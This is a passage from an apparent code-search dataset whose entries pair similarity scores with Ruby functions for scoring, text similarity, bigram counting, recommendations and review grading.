total)}\" if do_logging\n\n return total\n end",
"title": ""
},
{
"docid": "22f88383b1335aa1d894aa90c54e7166",
"score": "0.55260444",
"text": "def update_score\n games = Hash.new([])\n predictions.each do |prediction|\n key = prediction.match_id\n games[key] = {}\n games[key][:teams] = []\n games[key][:round] = prediction.round_id\n unless prediction.winner.nil?\n games[key][:teams] << prediction.winner.id\n end\n end\n Game.includes(:team1, :team2).find_each do |game|\n key = game.match_id\n unless game.winner.nil?\n games[key][:teams] << game.winner.id\n end\n end\n\n puts games.inspect\n\n score = 0\n games.each do |key, data|\n round = games[key][:round]\n winners = games[key][:teams]\n if winners.length == 2 and winners.first == winners.last\n score += (2 ** (round))\n end\n end\n self.update_attributes :score => score\n end",
"title": ""
},
{
"docid": "c44330b101a04b86c2f787dd2d0bf66d",
"score": "0.5492598",
"text": "def part2 groups\n yeses = groups.map { | g |\n members = g.split(\"\\n\")\n shared_answers = members.reduce(\"abcdefghijklmnopqrstuvwxyz\".chars) { |m,v |\n m & v.chars\n }.uniq.length\n }.reduce(0){ |m,v|\n m+v\n }\nend",
"title": ""
},
{
"docid": "15d3f27ab9eb138ecba153d79f326ee7",
"score": "0.5486466",
"text": "def rank_matches (profiles)\n output = { results: [] }\n\n profiles.each do |profile|\n profile_result = {\n profileId: profile['id'],\n matches: []\n }\n\n matches = []\n\n profiles.each do |other_profile|\n # avoid evaluating profile against itself\n next if other_profile == profile\n\n # match percentage with OKCupid's formula\n match_score = Math.sqrt(\n satisfaction(profile, other_profile) *\n satisfaction(other_profile, profile)\n )\n\n # add the match to possible matches\n matches << {\n profileId: other_profile['id'],\n score: match_score\n }\n\n # add the top 10 matches to the profile\n profile_result['matches'] = top_10(matches)\n\n # add the results for the profile to the outp\n output['results'] << profile_result\n end\n end\n\n # return the output\n output\nend",
"title": ""
},
{
"docid": "ea77eeac7a87b5e3016709c5afe0c7f9",
"score": "0.547777",
"text": "def score(other_counts)\n\t\tscore = 0.0\n\t\tseen = 0\n\t\tother_counts.each { |k, v|\n\t\t\tcount = @trigram_counts[k]\n\t\t\tscore += v * Math.log(@probs[@trigram_counts[k]])\n\t\t}\n\t\tscore\n\tend",
"title": ""
},
{
"docid": "a98da41f4b255e254d19f8c836dda946",
"score": "0.5475205",
"text": "def simhash(ngrams)\n # map each ngram to its bitsums\n sums = ngrams.map { |i| simhash_bitsums(i) }\n # transpose and calculate final sum for each bit\n bits = sums.transpose.map { |values| values.inject(&:+) }\n # wherever we have a positive sum, the simhash bit is 1\n simhash = 0\n bits.each_with_index do |i, index|\n simhash |= (1 << index) if i > 0\n end\n simhash\n end",
"title": ""
},
{
"docid": "abe6fdd3296f05e2e75c2252341cdeee",
"score": "0.5473555",
"text": "def get_relevance(reviews, submissions, num_reviews, pos_tagger, core_NLP_tagger, speller) #double dimensional arrays that contain the submissions and the reviews respectively\n review_vertices = nil\n review_edges = nil\n subm_vertices = nil\n subm_edges = nil\n num_rev_vert = 0\n num_rev_edg = 0 \n num_sub_vert = 0 \n numSubEdg = 0\n vert_match = 0.0\n edge_without_syn = 0.0\n edge_with_syn = 0.0\n edge_diff_type = 0.0\n double_edge = 0.0\n double_edge_with_syn = 0.0\n \n #since Reviews and Submissions \"should\" contain the same number of records review - submission pairs\n g = GraphGenerator.new\n #generating review's graph\n g.generate_graph(reviews, pos_tagger, core_NLP_tagger, true, false)\n review_vertices = g.vertices\n review_edges = g.edges\n num_rev_vert = g.num_vertices\n num_rev_edg = g.num_edges\n \n #assigning graph as a review graph to use in content classification\n @review = g.clone\n \n# puts \"@review.num_edges: #{@review.num_edges}\"\n \n #generating the submission's graph\n g.generate_graph(submissions, pos_tagger, core_NLP_tagger, true, false)\n subm_vertices = g.vertices\n subm_edges = g.edges\n num_sub_vert = g.num_vertices\n num_sub_edg = g.num_edges\n \n vert_match = compare_vertices(pos_tagger, review_vertices, subm_vertices, num_rev_vert, num_sub_vert, speller)\n if(num_rev_edg > 0 and num_sub_edg > 0)\n edge_without_syn = compare_edges_non_syntax_diff(review_edges, subm_edges, num_rev_edg, num_sub_edg)\n edge_with_syn = compare_edges_syntax_diff(review_edges, subm_edges, num_rev_edg, num_sub_edg)\n edge_diff_type = compare_edges_diff_types(review_edges, subm_edges, num_rev_edg, num_sub_edg)\n edge_match = (edge_without_syn.to_f + edge_with_syn.to_f )/2.to_f #+ edge_diff_type.to_f\n double_edge = compare_SVO_edges(review_edges, subm_edges, num_rev_edg, num_sub_edg)\n double_edge_with_syn = compare_SVO_diff_syntax(review_edges, subm_edges, num_rev_edg, num_sub_edg)\n double_edge_match = (double_edge.to_f + double_edge_with_syn.to_f)/2.to_f\n else\n edge_match = 0\n double_edge_match = 0\n end\n \n #differently weighted cases\n #tweak this!!\n alpha = 0.55\n beta = 0.35\n gamma = 0.1 #alpha > beta > gamma\n relevance = (alpha.to_f * vert_match.to_f) + (beta * edge_match.to_f) + (gamma * double_edge_match.to_f) #case1's value will be in the range [0-6] (our semantic values) \n scaled_relevance = relevance.to_f/6.to_f #scaled from [0-6] in the range [0-1]\n \n #printing values\n# puts(\"vertexMatch is [0-6]:: #{vert_match}\")\n# puts(\"edgeWithoutSyn Match is [0-6]:: #{edge_without_syn}\")\n# puts(\"edgeWithSyn Match is [0-6]:: #{edge_with_syn}\")\n# puts(\"edgeDiffType Match is [0-6]:: #{edge_diff_type}\")\n# puts(\"doubleEdge Match is [0-6]:: #{double_edge}\")\n# puts(\"doubleEdge with syntax Match is [0-6]:: #{double_edge_with_syn}\")\n# puts(\"relevance [0-6]:: #{relevance}\")\n# puts(\"scaled relevance on [0-1]:: #{scaled_relevance}\")\n# puts(\"*************************************************\")\n return scaled_relevance\nend",
"title": ""
},
{
"docid": "96f4e6a36e59522d0a39eca8427bd76d",
"score": "0.5472588",
"text": "def match\n \n # Identify matching cells, track them\n \n # Match skill names\n i = 0\n \n 5.times do |search_row_i|\n 5.times do |result_row_i|\n # Match skill name (column = 0)\n match_keyword(i, [search_row_i, 0], [result_row_i, 0])\n \n if match_id_exists?(i)\n \n # Match skill years experience\n match_integer(i, [search_row_i, 1], [result_row_i, 1])\n \n # Match skill details\n match_keyword_array(i, [search_row_i, 2], [result_row_i, 2])\n end\n \n i += 1\n end\n end\n \n # Match additional job-related stuff (job type, job location)\n \n \n # Calculate points\n calc_skill_names([[0, 1], [5, 6]], false, 50, 10)\n calc_skill_names([[2, 3, 4], [7, 8, 9], [10, 15, 20], [11, 16, 21]], (pct > 0), 40, 10) \n calc_skill_names([[12, 13, 14], [17, 18, 19], [22, 23, 24]], (pct > 0), 30, 10)\n \n calc_additional_attributes({:years_experience_pct => 5, :skill_details_first_pct => 2.5, :skill_details_additional_pct => 1})\n \n # puts \"---------- PCT: \" + @pct.to_s\n \n end",
"title": ""
},
{
"docid": "21949d1c2236b47864ba4ba43ba28fe0",
"score": "0.5465527",
"text": "def finalscore(h,flattenarray,originalarray)\r\n # puts \"==>> #{originalarray}\"\r\n max_index = originalarray.each_index.max_by { |i| originalarray[i].size }\r\n # puts \"max index = #{max_index}\"\r\n # puts \"abcscs = #{originalarray[max_index].length}\"\r\n maxsize = originalarray[max_index].length+1\r\n min_index = originalarray.each_index.min_by { |i| originalarray[i].size }\r\n minsize = originalarray[min_index].length+1\r\n frequency = flattenarray.length\r\n # puts \"***** max= #{maxsize} min = #{minsize} f= #{frequency}\"\r\n h.each do |key,value|\r\n # if key == \"B00APE06UA\"\r\n # puts \"value = #{value }\"\r\n # puts \"value[0] = #{value[0] }\"\r\n # puts \"value[1] = #{value[1]}== #{(value[1]-minsize+1)}/#{(maxsize-minsize)}\"\r\n # puts \"value[0] = #{value[0]} == #{value[0].clone}/#{frequency}\"\r\n # end\r\n\r\n # value[0]= 10000*value[0]/frequency\r\n # value[1]= 100*(value[1]-minsize+1)/(maxsize-minsize)\r\n value [1] = 10000*( value[1]/value[0])\r\n # if key ==\"B00APE06UA\"\r\n # puts \"value [1] = #{value[1]}\"\r\n # puts \" ==>>>> #{value[0]} =========#{value[1]} #{(value[1]-minsize+1)}/#{(maxsize-minsize)} \"\r\n # end\r\n total_score = value[0]+value[1]\r\n # puts\" #{total_score}\"\r\n h[key] = total_score\r\n end\r\n return h\r\nend",
"title": ""
},
{
"docid": "3d23a1e140c1a9359cf0d7ecba938fcc",
"score": "0.5424356",
"text": "def analogy(a, b, c, word_to_id, id_to_word, word_matrix, top: 5, answer: nil)\n all_found = true\n [a, b, c].each do |word|\n unless word_to_id.include?(word)\n puts(\"#{word} not found.\")\n all_found = false\n end\n end\n\n return unless all_found\n\n puts(\"\\n[analogy] #{a}:#{b} = #{c}:?\")\n a_vec = word_matrix[word_to_id[a], true]\n b_vec = word_matrix[word_to_id[b], true]\n c_vec = word_matrix[word_to_id[c], true]\n query_vec = b_vec - a_vec + c_vec\n query_vec = normalize(query_vec)\n\n similarity = word_matrix.dot(query_vec).to_a\n\n if answer\n puts(\"===>#{answer}:#{word_matrix[word_to_id[answer]].dot(query_vec)}\")\n end\n\n count = 0\n\n sorted_indexes = similarity.map.with_index.sort.map(&:last).reverse\n\n sorted_indexes.each do |i|\n # TODO: Deal with NaNs\n next if [a, b, c].include?(id_to_word[i])\n\n puts(\" #{id_to_word[i]}: #{similarity[i]}\")\n\n count += 1\n break if count >= top\n end\nend",
"title": ""
},
{
"docid": "fdff57a75931d51bd89754b70f77feae",
"score": "0.5415136",
"text": "def similarities u1\n sims = Hash.new()\n (@usr_rating.keys - [u1]).each do |u2|\n sims.store(u2, similarity(u1, u2))\n end\n return sims\n end",
"title": ""
},
{
"docid": "1ae9d764647e422e66b2634497696425",
"score": "0.54076135",
"text": "def scores\n cells = self.concatenate_data_arrays(self.cell_key, 'cells')\n exp_values = self.concatenate_data_arrays(self.score_key, 'expression')\n Hash[cells.zip(exp_values)]\n end",
"title": ""
},
{
"docid": "d6d147a5bfd08e31e65d2e86803b4c1d",
"score": "0.5387208",
"text": "def compute_reviews_hash\n @review_scores = {}\n @response_type = 'ReviewResponseMap'\n # @myreviewers = ResponseMap.select('DISTINCT reviewer_id').where(['reviewed_object_id = ? && type = ? ', self.id, @response_type])\n\n # if this assignment uses vary rubric by rounds feature, load @questions for each round\n if self.varying_rubrics_by_round? # [reviewer_id][round][reviewee_id] = score\n rounds = self.rounds_of_reviews\n for round in 1..rounds\n @response_maps = ResponseMap.where(['reviewed_object_id = ? && type = ?', self.id, @response_type])\n review_questionnaire_id = review_questionnaire_id(round)\n\n @questions = Question.where(['questionnaire_id = ?', review_questionnaire_id])\n\n @response_maps.each do |response_map|\n # Check if response is there\n @corresponding_response = Response.where(['map_id = ?', response_map.id])\n unless @corresponding_response.empty?\n @corresponding_response = @corresponding_response.reject {|response| response.round != round }\n end\n @respective_scores = {}\n @respective_scores = @review_scores[response_map.reviewer_id][round] if !@review_scores[response_map.reviewer_id].nil? && !@review_scores[response_map.reviewer_id][round].nil?\n\n if !@corresponding_response.empty?\n # @corresponding_response is an array, Answer.get_total_score calculate the score for the last one\n @this_review_score_raw = Answer.get_total_score(response: @corresponding_response, questions: @questions)\n if @this_review_score_raw\n @this_review_score = ((@this_review_score_raw * 100) / 100.0).round if @this_review_score_raw >= 0.0\n end\n else\n @this_review_score = -1.0\n end\n\n @respective_scores[response_map.reviewee_id] = @this_review_score\n @review_scores[response_map.reviewer_id] = {} if @review_scores[response_map.reviewer_id].nil?\n @review_scores[response_map.reviewer_id][round] = {} if @review_scores[response_map.reviewer_id][round].nil?\n @review_scores[response_map.reviewer_id][round] = @respective_scores\n end\n end\n else # [reviewer_id][reviewee_id] = score\n @response_maps = ResponseMap.where(['reviewed_object_id = ? && type = ?', self.id, @response_type])\n review_questionnaire_id = review_questionnaire_id()\n\n @questions = Question.where(['questionnaire_id = ?', review_questionnaire_id])\n\n @response_maps.each do |response_map|\n # Check if response is there\n @corresponding_response = Response.where(['map_id = ?', response_map.id])\n @respective_scores = {}\n @respective_scores = @review_scores[response_map.reviewer_id] unless @review_scores[response_map.reviewer_id].nil?\n\n if !@corresponding_response.empty?\n # @corresponding_response is an array, Answer.get_total_score calculate the score for the last one\n @this_review_score_raw = Answer.get_total_score(response: @corresponding_response, questions: @questions)\n if @this_review_score_raw\n @this_review_score = ((@this_review_score_raw * 100) / 100.0).round if @this_review_score_raw >= 0.0\n end\n else\n @this_review_score = -1.0\n end\n @respective_scores[response_map.reviewee_id] = @this_review_score\n @review_scores[response_map.reviewer_id] = @respective_scores\n end\n\n end\n @review_scores\n end",
"title": ""
},
{
"docid": "a5ca1485829791e2569e6acd8fb7a533",
"score": "0.53867245",
"text": "def distance_score(*args)\n rows = args.first\n # if there's only one word, everyone wins!\n if rows[0].size <= 2\n rows.to_hash { |row| [row[0], 1,0] }\n else\n min_dist = rows.to_hash { |row| [row[0], 1000000] }\n\n rows.each do |row|\n dist = 0\n (2..row.size).each do |i|\n dist += (row[i].to_i - row[i - 1].to_i).abs\n end\n\n if dist < min_dist[row[0]]\n min_dist[row[0]] = dist\n end\n end\n normalize_scores(min_dist, true)\n end\n end",
"title": ""
},
{
"docid": "50bd0af5dbf9355adb6a857fe6ef383d",
"score": "0.5382045",
"text": "def find_secondaries\n\n if File.exist?(@reciprocal_hits)\n # puts \"reciprocal output already exists\"\n else\n length_hash = Hash.new\n fitting = Hash.new\n @evalues.each do |h|\n length_hash[h[:length]] = [] if !length_hash.key?(h[:length])\n length_hash[h[:length]] << h\n end\n\n (10..@longest).each do |centre|\n e = 0\n count = 0\n s = centre*0.1\n s = s.to_i\n s = 5 if s < 5\n (-s..s).each do |side|\n if length_hash.has_key?(centre+side)\n length_hash[centre+side].each do |point|\n e += point[:e]\n count += 1\n end\n end\n end\n if count>0\n mean = e/count\n fitting[centre] = mean\n end\n end\n hits = 0\n @missed.each_pair do |id, list|\n list.each do |hit|\n l = hit.alnlen.to_i\n e = hit.evalue\n e = 1e-200 if e==0\n e = -Math.log10(e)\n if fitting.has_key?(l)\n if e >= fitting[l]\n if [email protected]?(id)\n @reciprocals[id] = []\n found = false\n @reciprocals[id].each do |existing_hit|\n if existing_hit.query == hit.query &&\n existing_hit.target == hit.target\n found = true\n end\n end\n if !found\n @reciprocals[id] << hit\n hits += 1\n end\n end\n end\n end\n end\n end\n end\n return hits\n end",
"title": ""
},
{
"docid": "ac11b62a57d8655968bdde5d006b3d10",
"score": "0.53787977",
"text": "def get_map_prob(query, o={})\n return query if query.scan(/\\(/).size > 0\n mps = [] ; col_scores = {}\n qw_prev = []\n fields = o[:prm_fields] || $fields\n flm = o[:flm] || get_col_freq(:prob=>true)\n bflm = get_col_freq(:prob=>true) if o[:mp_sparam]\n #puts \"[get_map_prob] query = [#{query.inspect}]\"\n query.split(\" \").each_with_index do |qw,i|\n #puts \"[get_map_prob] Working on #{qw}\"\n qw_prev << qw_s = get_stem(qw, o)\n if o[:bgram] && qw_prev.size > 1\n qw = query.split(\" \")[(i-1)..i].join(\" \")\n qw_s = [qw_prev[-2], qw_s].join(\"_\")\n #puts \"[get_map_prob] bgram: #{qw_s}\"\n elsif o[:bgram]\n next\n end\n if o[:mp_sparam]\n weights = flm.map_hash{|k,v|\n [k,(v[qw_s] || 0) * (1-o[:mp_sparam]) + (bflm[k][qw_s] || 0) * o[:mp_sparam]] if v[qw_s] && fields.include?(k) }\n else\n weights = flm.map_hash{|k,v|[k,v[qw_s]] if v[qw_s] && fields.include?(k)}\n end\n mp = weights.map_hash{|e|v=e[1]/weights.values.sum ; [e[0],((v >= MP_MIN)? v : MP_MIN)]}\n if mp.size == 0\n #error \"[get_map_prob] Query-term [#{qw}->#{qw_s}] not found!\"\n elsif o[:mp_all_fields]\n mp = fields.map_hash{|f|[f, ((mp[f])? mp[f] : MP_MIN )]}\n end\n mps << [qw , mp]\n end\n mhash2arr mps\n end",
"title": ""
},
{
"docid": "ddcd10f769433fb2100e6470fd4595e3",
"score": "0.53751934",
"text": "def similarity(user1, user2)\n\n user1 = user1.to_s\n user2 = user2.to_s\n \n weight_num = 0.20\n weight_movies = 0.40\n weight_rating = 0.40\n \n user1_num_movies = @user_database[user1].length\n user2_num_movies = @user_database[user2].length\n score_num_movies = ((user1_num_movies + user2_num_movies).to_f / ([user1_num_movies, user2_num_movies].max * 2)) * 100.0 \n \n #hash consists of movieID(string) => rating(float)\n user1_hash = {}\n user2_hash = {} \n @user_database[user1].each do |movieID, rating, time|\n user1_hash[movieID] = rating.to_f\n end\n @user_database[user2].each do |movieID, rating, time|\n user2_hash[movieID] = rating.to_f\n end \n common_movies = user1_hash.keys & user2_hash.keys\n num_common_movies = common_movies.length\n score_common_movies = (num_common_movies / [user1_hash.keys.length, user2_hash.keys.length].max ) * 100.0\n \n rating_difference = 0\n common_movies.each do |movieID|\n rating_difference += (user1_hash[movieID] - user2_hash[movieID]).abs\n end\n \n #in case of num_common_movies being 0, then penalize the rating score by 100\n if num_common_movies == 0\n avg_rating_diff = 100 \n else\n avg_rating_diff = rating_difference / num_common_movies.to_f\n end\n \n score_rating = 100 - avg_rating_diff\n \n similarity_score = (weight_num * score_num_movies + weight_movies * score_common_movies + weight_rating * score_rating)\n \n return similarity_score\n \n end",
"title": ""
},
{
"docid": "ab2802dba83f9048dae41f78a7fcf306",
"score": "0.53746116",
"text": "def score(s, d)\n i, j, k = deflate(s).length, deflate(d).length, deflate(s + d).length\n # how to calculate significance of similarity?\n k < (i + j)\n end",
"title": ""
},
{
"docid": "3b5f7a75bb9f042cb57821cc02b72052",
"score": "0.5366025",
"text": "def scores\n {\n 'a' => 1, 'e' => 1, 'i' => 1, 'o' => 1,\n 'u' => 1, 'l' => 1, 'n' => 1, 'r' => 1,\n 's' => 1, 't' => 1, 'd' => 2, 'g' => 2,\n 'b' => 3, 'c' => 3, 'm' => 3, 'p' => 3,\n 'f' => 4, 'h' => 4, 'v' => 4, 'w' => 4,\n 'y' => 4, 'k' => 5, 'j' => 8, 'x' => 8,\n 'q' => 10, 'z' => 10\n }\nend",
"title": ""
},
{
"docid": "47ae0ac852ffe70d237c74e7b07a3c9d",
"score": "0.53291494",
"text": "def matches\n parse_file.lines.each_with_object([]) do |line, matches|\n matches << line.scan(REGEXP[:name_and_score])\n end\n end",
"title": ""
},
{
"docid": "fbd43b9764ec41a36e6579e77cf4b5d5",
"score": "0.53133804",
"text": "def process_file(file_name)\r\n\tputs \"Processing File.... \"\r\n\r\n\tbegin\r\n\t\tcounter = Hash.new\r\n\t\tfile = File.open(file_name)\r\n\t\tuntil file.eof?\r\n\t\t\tfile.each_line do |line|\r\n\t\t\t\t# do something for each line\r\n\t\t\t\ttitle = cleanup_title(line)\r\n\t\t\t\tunless(title == \"\")\r\n\t\t\t\t\tbigram = title.split().each_cons(2).to_a\r\n\t\t\t\t\tbigram = bigram.map{ |n| n.join(' ')}\r\n\t\t\t\t\tbigram = bigram.each_with_object(Hash.new(0)){|word, obj| obj[word] += 1}\r\n\t\t\t\t\tif bigram.any?\r\n\t\t\t\t\t\tcounter.merge!(bigram) { |k, old, new| old + new}\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\t\tfile.close\r\n\r\n\t\t$bigramsArray = counter.sort_by { |k, v| -v }\r\n\t\tcreate_hash()\r\n\t\t#$bigrams = $bigrams.to_h\r\n\r\n\t\t#$bigramsHash = Hash.new\r\n\t\t#$bigramsHash = $bigrams.to_h\r\n \t#$bigrams.each { |k, v| puts \"#{v} => #{k}\"}\r\n\r\n\r\n\t\tputs \"Finished. Bigram model built.\\n\"\r\n\trescue\r\n\t\tSTDERR.puts \"Could not open file\"\r\n\t\texit 4\r\n\tend\r\n\r\nend",
"title": ""
},
{
"docid": "c103f24ef47fcb289f630c2b2fd17094",
"score": "0.53123486",
"text": "def to_h\n words = {}\n @table.each do |words, bigram|\n words[words] = bigram.rank\n end\n words\n end",
"title": ""
},
{
"docid": "b22c975710519f7c3730d0fb43ece57d",
"score": "0.5311667",
"text": "def calc_similarity(query, doc)\n tokens = Set.new(query.keys + doc.keys)\n\n a = Vector.elements(tokens.map { |n| query[n] || 0 }, false)\n b = Vector.elements(tokens.map { |n| doc[n] || 0 }, false)\n\n return a.inner_product(b) / (a.magnitude * b.magnitude)\n end",
"title": ""
},
{
"docid": "dbc61c3077633a4a4fa10dd92b14f8ea",
"score": "0.5304201",
"text": "def results(marks)\n # your code here\n avg = (marks.reduce(:+) / (marks.length).to_f).round(3)\n\n scores = {\n \"h\"=> 0,\n \"a\"=> 0,\n \"l\"=> 0\n }\n\n marks.each do |i|\n if i > 8\n scores[\"h\"] += 1\n elsif i == 7 || i == 8\n scores[\"a\"] += 1\n else \n scores[\"l\"] += 1\n end\n end\n if scores[\"a\"] == 0 && scores[\"l\"] == 0\n result = [avg, scores, 'They did well']\n else\n result = [avg, scores]\n end\n result\nend",
"title": ""
},
{
"docid": "cb8d1abf6d77cbbee7765b3a774fc49f",
"score": "0.53032625",
"text": "def score_words\n @scores = @results.map do |word|\n { :word => word, :score => score_word(word) }\n end.sort { |a, b| a[:score] <=> b[:score] }.reverse\n end",
"title": ""
},
{
"docid": "9fe818a7e58b38c8e1af31b4614bc296",
"score": "0.5297374",
"text": "def make_hash_with_count(passage)\n array_from_excerpt = strip_text(passage)#input from first question\n names_and_counts = Hash.new 0 #initializes at 0\n array_from_excerpt.each do |word|\n names_and_counts[word] += 1#for all subs. occurences, add 1\n end\n names_and_counts # must have the last line return the array!\nend",
"title": ""
},
{
"docid": "34d970ca5fc7be980d32d09b303469d8",
"score": "0.529386",
"text": "def getRecommendations()\n totals=Hash.new(0)\n simSum=Hash.new(0)\n \n \n @prefs.each_pair do |other,ranks|\n \n # next if it's me\n next if other == @person\n \n # check the affinity \n sim = @similarity.compute(other)\n \n # next if no affinity\n next if sim <= 0\n \n # for each unranked element\n ranks.each_pair do |name,rank|\n if !@prefs[@person].include?(name) or @prefs[@person].length == 0\n \n totals[name] += rank * sim\n simSum[name] += sim\n \n end\n end \n end\n \n # Array creation\n totals.to_a.collect do |e|\n [e[1]/simSum[e[0]],e[0]]\n end.sort do |a,b|\n b[0] <=> a[0]\n end\n \n end",
"title": ""
},
{
"docid": "ca518ff019ea7b5ee7e9b551ae0760b4",
"score": "0.5293164",
"text": "def match(hash)\n score, total_score = @archetype.inject([0, 0]) do |accum, fdef_pair|\n current_score, total_score = accum\n field, field_spec = fdef_pair\n\n scorer = field_spec[:scorer]\n weight = field_spec[:weight]\n\n rvalue = hash[field]\n score = rvalue ? scorer.(field_spec[:value].strip, rvalue.strip) * weight : 0\n\n [current_score + score, total_score + weight]\n end\n\n score.to_f / total_score\n end",
"title": ""
},
{
"docid": "4c8e67d22671931cf773132f61a2b3ef",
"score": "0.5278962",
"text": "def score\n track_similarity = shared_count(:tracks) / (((@user1.tracks.uniq.count + @user2.tracks.uniq.count) - shared_count(:tracks)) * 1.0)\n artist_similarity = shared_count(:artists) / (((@user1.artists.uniq.count + @user2.artists.uniq.count) - shared_count(:artists)) * 1.0)\n genre_similarity = shared_count(:genres) / (((@user1.genres.uniq.count + @user2.genres.uniq.count) - shared_count(:genres)) * 1.0)\n\n # Maximum possible raw score is seven (with yourself). Most people are between 0 and 1.\n raw = (track_similarity * 4) + (artist_similarity * 2) + (genre_similarity * 1)\n score = raw * 100\n score.round\n end",
"title": ""
},
{
"docid": "4c8e67d22671931cf773132f61a2b3ef",
"score": "0.5278962",
"text": "def score\n track_similarity = shared_count(:tracks) / (((@user1.tracks.uniq.count + @user2.tracks.uniq.count) - shared_count(:tracks)) * 1.0)\n artist_similarity = shared_count(:artists) / (((@user1.artists.uniq.count + @user2.artists.uniq.count) - shared_count(:artists)) * 1.0)\n genre_similarity = shared_count(:genres) / (((@user1.genres.uniq.count + @user2.genres.uniq.count) - shared_count(:genres)) * 1.0)\n\n # Maximum possible raw score is seven (with yourself). Most people are between 0 and 1.\n raw = (track_similarity * 4) + (artist_similarity * 2) + (genre_similarity * 1)\n score = raw * 100\n score.round\n end",
"title": ""
},
{
"docid": "68f14e69e0d4f07144866d8729d446ff",
"score": "0.5270561",
"text": "def generate_counts(data)\n counts = {}\n data.each do |line|\n unigram = nil\n bigram = nil\n trigram = nil\n\n # prepend buffering ghost values so we can represent trigrams of the first word\n tokens = line.split(' ')\n\n # take a sliding window of the entire line, generating grams as we go\n (1..(tokens.size-1)).to_a.each do |i|\n unigram = tokens[i..i]\n bigram = tokens[i-1..i]\n trigram = tokens[i-2..i]\n\n counts.store(unigram, counts.fetch(unigram, 0) + 1)\n counts.store(bigram, counts.fetch(bigram, 0) + 1)\n counts.store(trigram, counts.fetch(trigram, 0) + 1)\n end\n end\n counts\nend",
"title": ""
},
{
"docid": "eefaa7ae9f5e267c9658a2b30479784d",
"score": "0.5268729",
"text": "def q1_score(map, answer, print_out)\r\n return q2_score(map, answer, print_out, 0)\r\nend",
"title": ""
},
{
"docid": "b69f20532d80aa77e6ce637336756ef2",
"score": "0.5266713",
"text": "def Rocchio(queryi, scores, scores_topk, topK)\n\t# queryi_ngram_all = File.open(\"./queries/query#{queryi}_ngram.all\", \"r\").readlines\n\tFile.new(\"#{$dir_queryfile}/queries_converted//query#{queryi}_R_ngram.all\", \"w\")\n\t(0..topK-1).each do |k|\n\t\tfile_name = $file_list[scores_topk[k]].strip\n\t\tfile_name = \"#{$options[:d]}/.#{file_name}\" \n\t\t# %x( src/bin/create-ngram -vocab src/data/vocab.all -o queries/unigram.temp -n 1 -encoding utf8 #{file_name} )\n\t\t%x( src/bin/create-ngram -vocab src/data/vocab.all -o #{$dir_queryfile}/queries_converted/bigram.temp -n 2 -encoding utf8 #{file_name} )\n\t\t%x( src/bin/merge-ngram -o #{$dir_queryfile}/queries_converted/query#{queryi}_R_ngram.all #{$dir_queryfile}/queries_converted/query#{queryi}_R_ngram.all #{$dir_queryfile}/queries_converted/bigram.temp )\n\tend\n\tFastCosineScore(\"#{queryi}_R\") # return Scores Hash\nend",
"title": ""
},
{
"docid": "0bf580ca8c2aed10730243517ec06eba",
"score": "0.5265705",
"text": "def common_ngrams(n)\n cipher_text.\n split.\n select { |word| word.size == n }.\n each_with_object(count_hash) { |ngram, counts| counts[ngram] += 1 }.\n sort_by { |_, count| -count }\n end",
"title": ""
},
{
"docid": "f46bfe08cab4c233771ad777e5d20b3b",
"score": "0.5261048",
"text": "def text2hash (stanza_name,query_names, tax_id)\n result = {}\n #load each query result file\n query_names.each do |query_name|\n input_file = \"#{PREPARE_DIR}/text/#{query_name}/#{tax_id}.txt\"\n File.open(\"#{input_file}\") do |f|\n while line = f.gets\n # convert a line to hash object\n columns_info = get_query_columns(stanza_name, query_name)\n gene_text_data = gene_obj_mapping(line, query_name, columns_info)\n\n gene_id = gene_text_data[\"gene_id\"]\n if result[gene_id] == nil\n result[gene_id] = gene_text_data\n else\n result[gene_id].merge!(gene_text_data) do |key, oldval, newval|\n if key.to_s == 'gene_id' || key.to_s == '@id' # no repeat of tax id\n oldval\n else # concat text data\n oldval.concat(newval).uniq\n end\n end\n end\n end\n end\n end\n result\nend",
"title": ""
},
{
"docid": "934434e8f27375c6788fe830b9305249",
"score": "0.5256093",
"text": "def analyze\n @hits.times do\n @guesses << @last_guess unless @guesses.length == 4\n end\n end",
"title": ""
},
{
"docid": "934434e8f27375c6788fe830b9305249",
"score": "0.5256093",
"text": "def analyze\n @hits.times do\n @guesses << @last_guess unless @guesses.length == 4\n end\n end",
"title": ""
},
{
"docid": "bd6007f686b2e72090f1dc215d2597c7",
"score": "0.5246172",
"text": "def psm(query, label, rank)\n #Required Stuff\n spect = query.xpath(\"./@spectrum\").to_s.chomp(\" \") #X! Tandem has a space at the end that messes things up\n psm = []\n psm << \"#{spect}.#{rank}\" #id = name.spectrum.spectrum.charge.rank\n psm << label\n \n #Other stuff\n hit = query.xpath(\".//#{@xmlns}search_hit[@hit_rank=\\\"#{rank}\\\"]\")\n psm << spect[-1]\n \n hit.xpath(\".//#{@xmlns}search_score\").each do |score|\n psm << score.xpath(\"./@value\").to_s\n end\n \n #Required Stuff\n pep = hit.xpath(\"./@peptide\").to_s\n psm << pep\n \n psm << proteins(pep)\n \n #id <tab> label <tab> charge <tab> score1 <tab> ... <tab> scoreN <tab> peptide <tab> proteinId1 <tab> .. <tab> proteinIdM \n psm.join(\"\\t\")\n end",
"title": ""
},
{
"docid": "098c327cc3d47156fcaf8f52c2c00511",
"score": "0.5237853",
"text": "def compute_avg_and_ranges_hash\n scores = {}\n contributors = self.contributors # assignment_teams\n if self.varying_rubrics_by_round?\n rounds = self.rounds_of_reviews\n for round in 1..rounds\n review_questionnaire_id = review_questionnaire_id(round)\n questions = Question.where(['questionnaire_id = ?', review_questionnaire_id])\n contributors.each do |contributor|\n assessments = ReviewResponseMap.get_assessments_for(contributor)\n assessments = assessments.reject {|assessment| assessment.round != round }\n scores[contributor.id] = {} if round == 1\n scores[contributor.id][round] = {}\n scores[contributor.id][round] = Answer.compute_scores(assessments, questions)\n end\n end\n else\n review_questionnaire_id = review_questionnaire_id()\n questions = Question.where(['questionnaire_id = ?', review_questionnaire_id])\n contributors.each do |contributor|\n assessments = ReviewResponseMap.get_assessments_for(contributor)\n scores[contributor.id] = {}\n scores[contributor.id] = Answer.compute_scores(assessments, questions)\n end\n end\n scores\n end",
"title": ""
},
{
"docid": "5c251ceb397e9a36e0a39219fed0af12",
"score": "0.52359957",
